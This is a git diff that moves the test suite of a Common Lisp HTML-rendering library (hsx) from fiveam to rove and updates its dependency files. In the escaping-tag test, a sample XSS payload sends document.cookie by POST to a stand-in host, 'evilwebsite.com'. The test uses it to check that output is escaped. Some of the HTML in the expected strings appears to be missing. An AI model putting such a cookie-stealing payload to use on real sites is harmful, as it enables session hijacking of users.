diff --git a/hsx-test.asd b/hsx-test.asd index 4fb1e4a..06fbb9c 100644 --- a/hsx-test.asd +++ b/hsx-test.asd @@ -1,13 +1,9 @@ (defsystem "hsx-test" - :defsystem-depends-on ("fiveam-asdf") - :class :package-inferred-fiveam-tester-system + :class :package-inferred-system :pathname "tests" - :depends-on ("hsx-test/element" - "hsx-test/hsx" + :depends-on ("rove" + "hsx-test/element" "hsx-test/escaper" - "hsx-test/group") - :test-names ((#:element-test . #:hsx-test/element) - (#:hsx-test . #:hsx-test/hsx) - (#:escaper-test . #:hsx-test/escaper) - (#:group-test . #:hsx-test/group)) - :num-checks 44) + "hsx-test/group" + "hsx-test/hsx") + :perform (test-op (o c) (symbol-call :rove :run c :style :dot))) diff --git a/qlfile b/qlfile index 9263a89..8fe6a9d 100644 --- a/qlfile +++ b/qlfile @@ -1,3 +1,4 @@ -ql fiveam-asdf ql alexandria ql mstrings +github rove fukamachi/rove +github dissect Shinmera/dissect ; workaround diff --git a/qlfile.lock b/qlfile.lock index 1e0f4f7..a072ede 100644 --- a/qlfile.lock +++ b/qlfile.lock @@ -2,10 +2,6 @@ (:class qlot/source/dist:source-dist :initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest) :version "2023-10-21")) -("fiveam-asdf" . - (:class qlot/source/ql:source-ql - :initargs (:%version :latest) - :version "ql-2023-10-21")) ("alexandria" . (:class qlot/source/ql:source-ql :initargs (:%version :latest) @@ -14,3 +10,11 @@ (:class qlot/source/ql:source-ql :initargs (:%version :latest) :version "ql-2023-10-21")) +("rove" . + (:class qlot/source/github:source-github + :initargs (:repos "fukamachi/rove" :ref nil :branch nil :tag nil) + :version "github-cacea7331c10fe9d8398d104b2dfd579bf7ea353")) +("dissect" . + (:class qlot/source/github:source-github + :initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil) + :version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c")) diff --git a/src/element.lisp b/src/element.lisp index ee6cf5d..c9e61df 100644 --- a/src/element.lisp +++ b/src/element.lisp @@ -49,7 +49,7 @@ ;;;; factory (defun create-element (type props children) - (make-instance + (make-instance (cond ((functionp type) 'component) ((eq type :<>) 'fragment) ((eq type :html) 'html-tag) diff --git a/tests/element.lisp b/tests/element.lisp index 106640a..36bd31c 100644 --- a/tests/element.lisp +++ b/tests/element.lisp @@ -1,145 +1,143 @@ (defpackage #:hsx-test/element (:use #:cl - #:fiveam + #:rove #:hsx/element) (:import-from #:named-readtables #:in-readtable) (:import-from #:mstrings #:mstring-syntax)) (in-package #:hsx-test/element) + (in-readtable mstring-syntax) -(def-suite element-test) -(in-suite element-test) +(deftest tag-test + (testing "element-class" + (ok (typep (create-element :div nil nil) 'tag)) + (ok (typep (create-element :html nil nil) 'html-tag)) + (ok (typep (create-element :img nil nil) 'self-closing-tag)) + (ok (typep (create-element :style nil nil) 'non-escaping-tag)) + (ok (typep (create-element :<> nil nil) 'fragment)) + (ok (typep (create-element (lambda ()) nil nil) 'component)) + (ok (signals (create-element "div" nil nil)))) -(test element-class - (is (typep (create-element :div nil nil) 'tag)) - (is (typep (create-element :html nil nil) 'html-tag)) - (is (typep (create-element :img nil nil) 'self-closing-tag)) - (is (typep (create-element :style nil nil) 'non-escaping-tag)) - (is (typep (create-element :<> nil nil) 'fragment)) - (is (typep (create-element (lambda ()) nil nil) 'component)) - (signals error (create-element "div" nil nil))) - -(test flatten-children - (let* ((elm (create-element :p - nil - (list "a" - nil - (list "b" (list nil "c")) - (cons "d" "e"))))) - (is (equal (list "a" "b" "c" "d" "e") (element-children elm))))) - -(test empty-element - (is (string= "
" - (render-to-string (create-element :div nil nil))))) - -(test element-with-props - (is (string= "
" - (render-to-string (create-element :div - (list :prop1 "value1" - :prop2 t - :prop3 nil) - nil))))) - -(test element-with-children - (is (string= "

foo

" - (render-to-string (create-element :p - nil - (list "foo")) - :pretty t))) - (is (string= #M"

+ (testing "flatten-children" + (let* ((elm (create-element :p + nil + (list "a" + nil + (list "b" (list nil "c")) + (cons "d" "e"))))) + (ok (equal (list "a" "b" "c" "d" "e") (element-children elm))))) + + (testing "empty-element" + (ok (string= "

" + (render-to-string (create-element :div nil nil))))) + + (testing "element-with-props" + (ok (string= "
" + (render-to-string (create-element :div + (list :prop1 "value1" + :prop2 t + :prop3 nil) + nil))))) + + (testing "element-with-children" + (ok (string= "

foo

" + (render-to-string (create-element :p + nil + (list "foo")) + :pretty t))) + (ok (string= #M"

\ foo

" - (render-to-string (create-element :p - nil - (list (create-element :span - nil - (list "foo")))) - :pretty t))) - (is (string= #M"

+ (render-to-string (create-element :p + nil + (list (create-element :span + nil + (list "foo")))) + :pretty t))) + (ok (string= #M"

\ foo \ bar

" - (render-to-string (create-element :p - nil - (list "foo" - (create-element :span - nil - (list "bar")))) - :pretty t)))) + (render-to-string (create-element :p + nil + (list "foo" + (create-element :span + nil + (list "bar")))) + :pretty t)))) -(test element-with-props-and-children - (is (string= "

foo

" - (render-to-string (create-element :p - (list :prop1 "value1" - :prop2 t - :prop3 nil) - (list "foo")) - :pretty t))) - (is (string= #M"

+ (testing "element-with-props-and-children" + (ok (string= "

foo

" + (render-to-string (create-element :p + (list :prop1 "value1" + :prop2 t + :prop3 nil) + (list "foo")) + :pretty t))) + (ok (string= #M"

\ foo \ bar

" - (render-to-string (create-element :p - (list :prop1 "value1" - :prop2 t - :prop3 nil) - (list "foo" - (create-element :span - nil - "bar"))) - :pretty t)))) - -(test self-closing-tag - (is (string= "" - (render-to-string (create-element :img - (list :src "/background.png") - nil) - :pretty t)))) - -(test escaping-tag - (is (string= "
<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
" - (render-to-string - (create-element :div - nil - (list "")))))) - -(test non-escaping-tag - (is (string= "" - (render-to-string - (create-element :script - nil - "alert('<< Do not embed user-generated contents here! >>')"))))) - -(test fragment - (let ((frg (create-element :<> - nil - (list (create-element :li - nil - (list "bar")) - (create-element :li - nil - (list "baz")))))) - (is (string= #M"
  • bar
  • + (render-to-string (create-element :p + (list :prop1 "value1" + :prop2 t + :prop3 nil) + (list "foo" + (create-element :span + nil + "bar"))) + :pretty t)))) + (testing "self-closing-tag" + (ok (string= "" + (render-to-string (create-element :img + (list :src "/background.png") + nil) + :pretty t)))) + + (testing "escaping-tag" + (ok (string= "
    <script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
    " + (render-to-string + (create-element :div + nil + (list "")))))) + + (testing "non-escaping-tag" + (ok (string= "" + (render-to-string + (create-element :script + nil + "alert('<< Do not embed user-generated contents here! >>')"))))) + + (testing "fragment" + (let ((frg (create-element :<> + nil + (list (create-element :li + nil + (list "bar")) + (create-element :li + nil + (list "baz")))))) + (ok (string= #M"
  • bar
  • baz
  • " - (render-to-string frg :pretty t))) - (is (string= #M"